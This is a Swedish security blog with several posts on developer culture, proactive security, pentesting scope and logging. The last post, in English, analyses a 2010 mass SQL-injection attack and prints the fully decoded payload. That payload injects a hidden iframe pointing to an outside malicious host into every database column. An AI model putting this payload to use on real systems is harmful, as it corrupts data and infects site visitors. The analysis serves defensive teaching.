För ett antal månader sedan skrev jag om vikten av samarbete snarare än att försöka lösa alla problem själv. Och det är fortfarande givetvis sant. Dock verkar inte alla företag och organisationer fatta detta, så man vill istället slå ett slag för ”rockstjärnan”. Titeln ”Rockstar developer” syftar på en utvecklare som med sin attityd och sitt kunnande är en enmans (eller kvinnas!) armé. En person som är en legend som är superkreativ på samma sätt som en riktig rockstjärna. Dock förväntas denna person på något märkligt sätt att följa regler och fungera bra i team samt inte knarka på arbetsplatsen.

Jag känner till många ”rockstjärnor” som jag sett under mina dagar i branschen. De behöver givetvis inte vara just utvecklare, men de är alltid samma typ av person: kan allt, gör allt och vill dessutom bygga allt själva. De lämnar efter sig egenbyggda lösningar som fungerar olika bra. Ingen har insikt i dem och de är inte dokumenterade. På ett av mina jobb såg jag ett verktyg byggt av en talangfull anställd som gjort allting och sedan lämnat bygget. Jag såg rätt snabbt att denna applikation var redigt problematisk. Den var om jag minns rätt öppen för SQL-injektioner, Local File Inclusions och XSS. Jag läckte snabbt ut lösenordet ur databasen och meddelade sedan IT-ansvarige och förklarade att detta måste fixas omedelbart. ”Rockstjärnan” som skapade detta verktyg hade visserligen byggt något som var mycket användbart, men hade trots allt ingen koll på säkerheten.

En ”Rockstjärna” jobbar på sitt eget rykte och är känd för att leverera och lösa alla problem utan att för den delen lyssna på vad någon annan har att säga. Lösningarna är enligt vederbörande ett tecken på genialitet och kreativa idéer. Men kreativa lösningar är dåliga lösningar som inte följer någon form av standarder. Personen vägrar, som sagt, låta andra göra någon del av jobbet, eftersom det då solkar ner Rockstjärnans rykte som perfekt och ofelbar. Siten Daily WTF är full av exempel på program och kod efterlämnade av dessa hjältar som ingen vågat kritisera eller granska.

Rätt uppenbart är dessa personer, särskilt om de är utvecklare, en källa för stora problem för folk inom säkerhetsbranschen.

Så vad vill man ha? Precis vad jag sagt tidigare: en grupp med olika kompetenser som samarbetar och levererar en uttestad och säker produkt utan att det blir en utpekad persons ”pet project”. Gruppen kan komma att förändras, men arbetet fortsätter och dokumenteras. Produkten hålls säker genom att använda standardiserade ramverk, följa säker utveckling enligt t.ex. OWASP och ha ett ”livscykel”-tänkande.

Detta tangerar min tidigare diskussion om ”De som lovar för mycket”. Dock pratar vi här lika mycket om utvecklare som andra roller inom IT-världen, eftersom dessa påverkar organisationens säkerhet. Så IT-säkerhetsbranschen själv är lika sannolik att ha dessa personer som på något sätt anser sig stå över kritik och att behöva följa en metodik som fungerar.

• 0 comments

Ibland kan man sticka ut huvudet lite, vilket jag gjorde för en 10 år sedan, då jag skrev om moder natur och kritiserade idén med proaktivt säkerhetsarbete. Menat mest för att få folk att tänka, snarare än att slå fast några teser. Varsågod! Ja, det är på Engelska.

Why won’t we ever get rid of vulnerable software and hardware? What does it take to make everything perfectly secure? Most people I ask those questions respond by saying it cannot be done and I think they’re right. But why do we still act as if there was a way to make all security problems go away?

I think there are a lot of different reasons that causes us to push forward to remove all risks by being “proactive”. To be proactive is thus to solve any problem before it appears, right? If so, why do we need early warning system to be proactive? Just let that sink in for a moment.

If you detect a problem before it gets critical, you’re not really proactive. You’re reactive, but reacting in time. The word “proactive” means to “(…) initiate change rather than reacting to events.” 1) In order to be proactive, you cannot ever look at any values or logs, because the moment you detect that something heading the wrong way, you’re reacting to an event. The only true way to be “proactive” is to be Nostradamus. And his track record is … well … almost entirely wrong.

So, what’s the point of this discussion? I’m not trying to discourage early detection of problems or forward planning. Those two factors can really increase reliability and uptime for any system. The problem is that we see any problem “getting through” as a total failure.

Good security involves protecting a system in proportion to the loss a compromise would cause. This is in many of the security books you can read. By implication, a sound security plan accepts that enough resources spent by an attacker will give them a good chance to actually succeed. This also means giving up the pipe dream of never getting hacked or having a system failure.

If Mother Nature applied for the position of system administrator, no one would hire her.

– ”So, how would you make sure the network can handle an intrusion?”
– ”I would let it happen and let the devices that survive remain online afterwards.”

Not exactly what you want to hear from your system administrator? Still, that’s how it’s done in reality. When an intruder is successful, smart people learn how it was possible for the intruders to get through and then they adapt their infrastructure to cope with the new situation. And sometimes they still get hacked again, until their security is good enough to stand the test of time. But this cannot last either, because any security stance will weaken over time. So the cycle repeats as long as there are enough dangerous risk agents around. There is a reason risk management plans include terms such as “annual rate of occurrence” and “single loss expectancy”. Security planners actually expect attacks to be successful more than once in the life time of an organization. With as little exposure of vital systems as possible, smart and fast detection of attacks, forward planning (this is as close to “proactive” you get in reality) and reduction of complexity of the systems; you can mitigate your risks. But eliminating them? Please! Not even Mother Nature would try to do that! Instead plan ahead and learn how to survive when it happens while still upholding a good security regiment.

Anyone talking about “zero tolerance” or “proactive security” is either blind or not telling you the truth.

• 0 comments

Svaret är: det är det inte. Men man kan ju undra med tanke på vilket negativt tankesätt som krävs för att kunna jobba med IT-säkerhet ibland. Förutsätt att alla hackare är ute efter just ditt nätverk. Förutsätt att det alltid är någon som hittar på en helt ny attack som du snart måste förstå för att kunna skydda dig själv, dina kunder eller ditt jobbs nätverk.

Är du på det ”blåa laget” (försvarare), måste du förstå allt som finns med nätverksdesign, säkerhet på djupet och alla principer och regler som kommer med ditt jobb.

Är du på det ”röda laget” (pentestare/red team/white hats) gäller det att lära dig hur man hackar med de senaste attackerna, förstår hur nya teknologier kan knäckas och hur du tar dig in när allting samtidigt säkras upp med nya versioner.

Blir det bättre eller sämre? I min åsikt, både och. Vi blir allt bättre på vad vi håller på med och samtidigt blir våra motståndare bättre och får allt större budgetar. Länder som knappt verkar kunna ha elektricitet för att driva glödlampor i varje hem, genererar superkompetenta hackergrupper som snabbt får internationellt renomé.

Detta inlägg samlar ihop flera andra diskussioner vi har haft tidigare. Att man alltid måste lära nytt, att allting förändras kaotiskt, att ingenting kan antas och att man aldrig får sluta bygga på sin säkerhet.

Om du inte har fattat det än – du arbetar i en av de mest kaotiska branscherna som finns.

• 0 comments

… eller varför ”hacka nu”-knappen inte finns.

Jag hade inget bättre för mig en kväll och bestämde mig för att ta reda på vad för funktioner som fanns i betalversionen av säkerhetstestverktyget ”Metasploit”. Det kostade närmare 150 000 kronor att köpa in, eller så fick man nöja sig med en gratisversion som saknade de automatiserade delarna. Dessa som skulle göra ett penetrationstest så enkelt så att vem som helst kunde göra det.

Och det fanns en guide som lät dig sätta upp ett penetrationstest och låta programmet göra resten. Givetvis provade jag det och insåg till min stora fasa vad det var den i själva verket gjorde. Detta automatiska test gissade vad maskinerna som den testade hade för programvaror och började sedan oblygt att bombardera dem med alla attacker som eventuellt skulle kunna passa. Den gissade hejvilt och testade sårbarheter som tillhörde programvaror som slutat tillverkas för 15 år sedan, programvaror som skulle kunna installeras på tjänsten men garanterat inte fanns där och i princip allt som skulle kunna kopplas på ett nätverk. Detta blev många hundra tester totalt. Allt gjordes i ett vansinnigt tempo. Nu gjorde jag detta på mitt eget hemnätverk, men hade jag gjort detta hos en kund hade varenda larmklocka som fanns i form av nätövervakning skrikit i högan sky. Larmloggarna hade varit knallröda och kunden hade märkligt nog varit nöjda med detta. Det är en udda observation: ibland undrar kunder varför de inte sett mer av attackerna i sina övervakningssystem. Svaret är: för att vi gör dem rätt! Och rätt är att lägga tankeverksamhet bakom testerna. Att metodiskt testa efter ett schema och observera vad man får tillbaka. Att förstå hur något man får tillbaka kan vara intressant att testa vidare och hur andra svar inte visar på någonting som verkar gå att hacka.

Där är skillnaden mellan automatiserade program som ser utan att observera och en tänkande människa som avgör vad som går att använda.

Så uppenbarligen går det inte att bygga en testprogramvara som gör allt åt en. Inte just nu i alla fall. Som jag sa i ett poddavsnitt nyligen: det kanske blir av när man uppfunnit starkt AI. För att klargöra: detta lär inte hända under min generations livslängd.

En annan sak man måste förstå är att maskiner saknar gränser om den som använder dem inte vet sina. Jag var en gång ute och presenterade resultatet av ett säkerhetstest och kunden sa att de var förvånade över att jag inte rapporterat samma resultat som alla andra av deras testare hade gjort. När jag hörde det, blev jag alldeles kall. Hade jag missat något? Kunden radade upp ett antal sårbarheter som jag inte rapporterat. Mitt svar var att jag inte ombetts att testa den delen av systemet där dessa sårbarheter hittats. Kundens svar var att jag var den enda av testarna som hade förstått att inte attackera mål de inte hade fått i uppdrag att testa. Så … jag hade alltså gjort helt rätt i detta fall. De andra som hyrts in att testa samma tjänster hade glatt gått lös på närliggande delar av systemet och detta sågs givetvis som någonting negativt.

Så vad betyder detta? Svaret är att det att allt säkerhetsarbete kan stödjas och BÖR stödjas av program och testmetoder, men det måste ske på ett sådant sätt att det leds av en eller flera tänkande individer som använder tanken som sitt främsta vapen.

”I am a brain, Watson. The rest of me is a mere appendix.”
― Sherlock Holmes, The Adventure of the Mazarin Stone

Och vet var gränserna går! Säkerhetstestare som överskrider sina tillvägagångsregler kan hamna i domstol. Jag skämtar inte. Det är helt sant.

• 0 comments

I avsnitt nummer 45 tar vi oss an begreppet SQL Injection.

Jag och Erik verkar gilla den här sårbarheten, eftersom förutom avsnittet, finns ju Eriks bloggartikel i ämnet här.

I avsnittet pratar vi om ”OWASP Top Ten Project” och den är ju intressant att kika på. – länk.

Och så nämner vi lite fakta – 65% av alla webbattacker nyttjar SQLi som vektor. Källan finns här (https://www.cbronline.com/news/sql-injection-attacks) – en väldigt spännande vinkel i artikeln är att spelkonton är hackares nya favorit.

• 0 comments

2011 skrev jag vad som kom att bli mina avskedsord i det nyhetsbrev jag skrev för mitt dåvarande jobbs räkning. I det summerade jag de tio år som gått sedan terrordådet i New York den 11 september. Nu har 18-årsdagen nyligen kommit och gått och jag har bestämt mig för att uppdatera det med nya insikter. Här är det alltså: 18 år av säkerhet… och Internet.

2001 knackade Nimda på dörren medan vi genomled effekterna av Dot com-kraschen utan någon ljusning i sikte. Enron gick under och MCI/Worldcom kraschade. Sen kom ännu ett utbrott av mask-attacker och spamokalypsen gjorde grandios återkomst. Internet var nu så vanligt att även våra farmödrar och farfäder började använda det för precis allting. När maskattackerna tills sist ebbat ut, var det webbläsarnas tur att bli måltavlan och skadlig kod gick från att kunna några få trick till att bli veritabla Schweiziska arméknivar som kunde ta ner vilken dator som helst. För att bevisa att vi ingenting lärt oss, såg vi till att allt mer och mer av vår mjukvara krävde att vi alltid var uppkopplade mot nätet. Att spela ett spel utan tillgång till molnet var praktiskt taget omöjligt. Även för spel som inte var menade att spelas tillsammans med andra.

Den totala volymen av säkerhetsfixar vi var tvungna att installera gick från spridda skurar till ett ösregn av kritiska fixar som man var tvungen att lägga in. Musiken, både legal och illegal flödade till våra datorer genom bittorrent, ITunes och så många tjänster att det är omöjligt att nämna dem alla.

Everquest, World of Warfact och mängder av kloner slog ihop idén med sociala gemenskaper, chattkanaler och spelande och gjorde därmed spelande till någonting socialt snarare än något för den inbitne ensamvargen. Sen började man ta betalt för allting smått och gott i spelet. Var man lat kunde man vinna spelet genom att öppna plånboken. När vi ändå pratar om sociala gemenskaper, så gick vi från IRC-kanaler, till Myspace och sedan Face book och Twitter.

Myspace bevisade att ingenting vara för evigt när de tappade bort stora delar av sitt data. Trots detta fortsatte vi förutsätta att allt vi skrivit på nätet var skrivet för att aldrig förstöras.

Allting kunde man hitta med Google, vilket inkluderade ditt hus och kartor av området du bodde i. Till sist hamnade vi själva på kartan när Google och många andra höll koll på exakt var vi var vid varje tillfälle. Inte ens George Orwell kunde komma på att skriva om detta. I hans bok ”1984” hade huvudrollsinnehavaren, Winston Smith, en dold vinkel där kamerorna inte kunde se honom. Om så verkligen var fallet i boken kunde diskuteras, men vi insåg snabbt att vi definitivt inte hade någon sådan plats verkligheten. I alla fall så länge vi hade mobiltelefonerna på. Om det ens hjälpte.

Och när vi talar om mobiltelefoner. De gick från oförstörbara pansarvagnar av typen Nokia 3310 som troligen hade batterier som höll laddningen fram till nästa århundrade, till moderna Iphones och Android-lurar som i princip ersatte all hemelektronik vi bara kunde drömma om på 80-talet. Videokamera, walkman, telefon, telefonkatalog, nätverksenhet, kamera, papperskartor i ett paket som var billigare än vad hälften av dessa prylar skulle ha kostat tillsammans – till priset av din integritet, tid, säkerhet och sömn. Din telefon blev en perfekt blandning av allvetande gud och läckande såll för alla hackare att ta del av.

Hackarna började med trevande steg och mognade till brottslingar som gjorde attacker till en lönsam födkrok. Vi gjorde saken sämre genom att inte riktigt veta hur vi skulle skapa lösenord för att vara säkra. Sommar2019, någon? Sen kom multifaktorautentiseringen och gjorde vad bra säkerhet ofta gör: allting jobbigare… men säkrare.

Och glöm inte alla skumma siter du kunde gå på och få dina bankkonton tömda och din dator smittad av så mycket skadlig kod att det var lättare att ta ut den i skogen och skjuta den med en ominstallation av Windows än att försöka reda ut härvan. Men sen kom ju YouTube och du kunde plötsligt hitta den där sången som du hörde på radion exakt en gång 1982. Musikindustrin var inte så lyckliga, men lyckades till sist få Youtube under kontroll. Spotify blev en stapelvara och vi började knarka Netflix på våra TV-apparater.

Piratkopieringen kom, blev en het fråga och sedan en politisk fråga. Alla laddade ner allt och skivindustrin ansåg att en iPod fylld med upphovsrättsskyddad musik var det mesta värdefulla objektet i vårt kända universum. I alla fall om man räknade hur mycket de påstod att artisterna förlorade i intäkter på varje piratkopierad sång och multiplicerade det med hur många som rymdes på en spelare. Bland alla program som kunde laddas ner frodades efter att tag skadlig kod som en härd av illasinnade bakterier. Sen tröttnade folk på det hela och streamade sina filmer och sina låtar. Någon märklig grupp återfann vinylskivan och njöt av idel knaster och sprak som hade musiken som bi-effekt.

Myndigheterna världen över vaknade upp som från en mardröm av maktlöshet medan Internet sjöng frihetlighetens lov. Och de agerade med den sedvanliga paniken man kunde vänta sig och snart hade vi ett hav av lagar och förordningar som skyddade allt och alla mot just … allt och alla. Vidare blev övervakning av alla oavsett smutsighetsgraden av deras mjöl i påsen något som bara fanns där. Om det var bra eller dåligt debatterade både de lärde och folk som var spritt språngande galna om. Ingen konsensus nåddes och troligen kommer solen ha slocknat innan det sker.

Kina växte sig större och Indien blev platsen dit alla ville flytta sina it- och utvecklingsavdelningar. Indien hade Kina som underkonsulter och Kina skickade sedan vidare till Afrika. Troligen kommer snart någon ringa in eskimåerna. Detta fick mjukvarumarknaden att blomstra.

Folk möttes, blev kära och till och med ”levde tillsammans” på Internet. Men samma nät lärde oss också fruktan för alla som vi inte kände och siter där folk inte höll med oss. Trenden att hänga ut dömda brottslingar blev en grej. Vi gick från att försiktigt prata om att publicera bilder på misstänkta till att ”doxing” blev en grej. Nätet vet inget om måttlighet.

Och smörgåsbordet med all kunskap som mänskligheten kände till åts i små portioner där vi föredrog det vi redan visste att vi gillade. Men det gick inte att undvika att vi då och då fick oss andras åsikter till livs i alla fall.

Apple kom tillbaka som fågel Fenix och hade med sig en ny, moderiktig stil. Microsoft gjorde totalt fiasko med Vista, men togs till nåder i och med Windows 7. Sedan dess verkar de lyckas med varannan version av Windows de släpper.

Protester mot nationsstaters sekretess och myndigheters hemlighetsmakeri tog fart och helt plötsligt hade vi Wikileaks. Nationerna började se hur Internet kunde användas för att spionera och sabotera och vips var en ny spelplan öppnad. Allt från sabotage av kärnbränsleanrikning till stöd för krigsföring kom vi att uppleva medan vi undrade om åskan slagit ner.

Den skadlig koden utvecklades till ransomware och program som kunde ligga dolda och läcka ut information från företag och organisationer i månader innan de upptäcktes.

Demokratierna skakade och en del diktaturer till och med föll. USA fick sin första aftoamerikanske president som visade hur Internet kunde erövras från en Blackberry och sedan kom affärsmannen med det yviga håret och kommunicerade vitt och brett med oss alla via Twitter. Innan dess fick vi lära oss hur sociala medier kan användas för att påverka vilka vi röstar på, hur vi handlar och till och med hur vi tänker. Och politiska åsikter fanns det helt plötslig ingen brist på. Alla från vänster- till höger på den politiska skalan hade en uppochnervänd tvållåda att hålla tal från.

Så vi har flyttat ut på nätet med ondskan hack i häl. I denna nya sköna värld har vi avancerade attacker och främmande makter som vi måste förhålla oss till. Glöm inte de förarlösa drönarna heller.

Vad av detta som kan inlemmas i IT-säkerhetsområdet och vad som hör till samhällskunskap är svårt att avgöra. Men en sak är säker: jag har nog glömt hälften i denna berg-och-dalbana som går mellan ren logik och totalt kaos i en handvändning. Men håll med om att det varit snart 20 mycket intressanta år i alla fall.

• 0 comments

Det är något som alltid fascinerat mig: hur många som sparar loggar utan att någonsin fundera på hur de ska användas vid t.ex. ett intrång. De är nöjda med att kunna kryssa för ”vi har loggning” i ett testformulär och sedan… ja… vad då? ”Vem bryr sig? Vi loggar ju”. Allt klart. När något händer, finns det ingen plan eller någon metod för hur man ska få ut något ur drivorna med arkiverade loggar. Men som sagt: ”Vi loggar ju”.

Tillbaka till mina gamla blogginlägg från förr: texten är på Engelska.

Can’t see the forest for the logs?

Do you remember those old analog TVs, where you could pull the antenna cable out to look at the whirling static of white and black dots? For all intents and purposes, what you see is more or less random and no one could possibly call what you see on the TV-screen “information”. But that is what it is. However, when we talk about “information”, we often mean “useful information”. The bad news is that it can be hard to know what is useful now or in the future.

When working with computer generated logs, this can be disastrous. Logs? I’m not talking about the kind that used to be trees. Many applications store informational, warning and alert events in files or databases. Those databases and files are what we call logs. We often install systems and applications without thinking why and what should be written into them. All logs can give potential clues when we try to track an intrusion or when we try to find the cause of a failure. But when the time comes to look for those clues, they may not be there for us and there are quite a few reasons for that:

We have no plan why we log

Ask operations and they tell you logs are for troubleshooting. The guys in security talk about auditing and forensics and the web master needs to know how the site is doing on the big market called the Internet (assuming we’re talking about a web site, off course). Logs can cater to all those needs, if we set the system up that way. But that is a job for an IT-architect and should be done long before the system is actually built. At this time I want to remind you that organizations should have a set of written policies dealing with security and rules. This is outside the scope of this discussion, but the relevant parts of the security policies must be used to decide how to build the logging architecture.

We wait too long

Logs are often setup to start overwriting the oldest entries after some time or when they get larger than a preset size. In short, we could be too late to actually see something, since the log data has been erased. The solution is to understand what will use the logs for and how much history we need. This should be decided when we design the system and must be applied system wide. Yup, I’m repeating myself, I know!

We log all the wrong things and forget to log the right things

Did you know that the web server Microsoft Internet Information Services 6.0 doesn’t log the referer (yes it’s spelled that way!) tag by default? The referer (sic!) tag can show the address of the site the user was surfing on, when he clicked on a link to your site. It’s probably not so interesting to log just for security purposes, but it is very important if you want to know which search phrases or sites link to your site. Do you only log failed logon attempts? Then you won’t know when they actually managed to break in.

We fail to understand the consequences of our settings

If you setup your logs to rollover after a specified time or size, you don’t have to worry about them filling up the disk. Computer criminals know that this is a common practice and often try to hide their tracks by generating a massive amount of events in relevant logs until they rollover and delete the evidence. If we allow it to fill up, an attacker may be able to cause a system to fail by generating events until the system cannot log anything more. If we don’t transfer our logs to a secure system, an attacker that succeeds in taking over a system can destroy all evidence by clearing the logs. And if we do transfer the logs, the total cost of ownership goes up. All choices have their merits and flaws.

We log inconsequentially

The days of everything being “one server – one system” are long gone. Many larger systems consist of servers, network equipment and even cloud services working in unison. We must make sure we log everything as dictated by the policy on all parts of the system where possible.

… And my favorite: we have no idea what to do with it!

Ok, so you now have megabytes of data at your disposal. Whether you want to detect problems and security issues before they happen or want information enough to nail the attackers afterwards, you can seldom just rely on reading the logs manually. You need tools, procedures and scheduled time for it. This is a huge area and there are hordes of free and commercial products and appliances that can help you finding what you’re looking for or hide it from your eyes by being totally useless tools. The right tools for intrusion detection may be totally useless when it comes to troubleshooting stability issues.

This post in one sentence: thought applied before action saves the future.

• 0 comments

Någon gång 2010 fick jag analysera en attack som fastnat i mitt jobbs IDP. Teknikerna ville ha en förklaring av hur den fungerade och om den var farlig. Så jag skrev en kort uppsats där jag förklarade det hela för dem. Denna skrev jag senare om för min numera avsomnade blogg. Så för den som vill nörda ner sig i lite klassisk webbapplikationssäkerhet, återger jag den här. Den är ganska djup rent teknisk, men borde ge en tanke om hur det fungerar. Och, ja, den är på Engelska. Hoppas den går att förstå ändå.

I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and ”run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, itís like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ’ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp?subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20
VarCHAR(4000);SET%20@S=CASt(0X64 … <Removed>… F5220%20aS%20VARcHar(4000));eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldnít we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is ”ASCII Hex URL Decoder”, available from https://github.com/Dillie-O/ascii-hex-url-decoder. But when you try pasting the text into the program you get an error message stating that ”the code must be wrapped in a CAST-statement”. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616D65 … <Removed>… D653E As VaRChAR(106))’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE [’+@t+’] SET [’+@c+’]=rtrim(CONVERT(VARCHAR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);–

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. I’ll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case itís from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.

2;

The innocent 2 and a semi-colon which means ”end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets ”s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( Ö blah blah blah Ö) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);–

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in ”s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616 … <Removed>… 672616D6 53E As VaRChAR(106))’)

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The ”rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))” part makes sure that the already present data is retained and the data it then tries to add is decoded as ”<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, itís closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references ”sysObjects” and ”sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

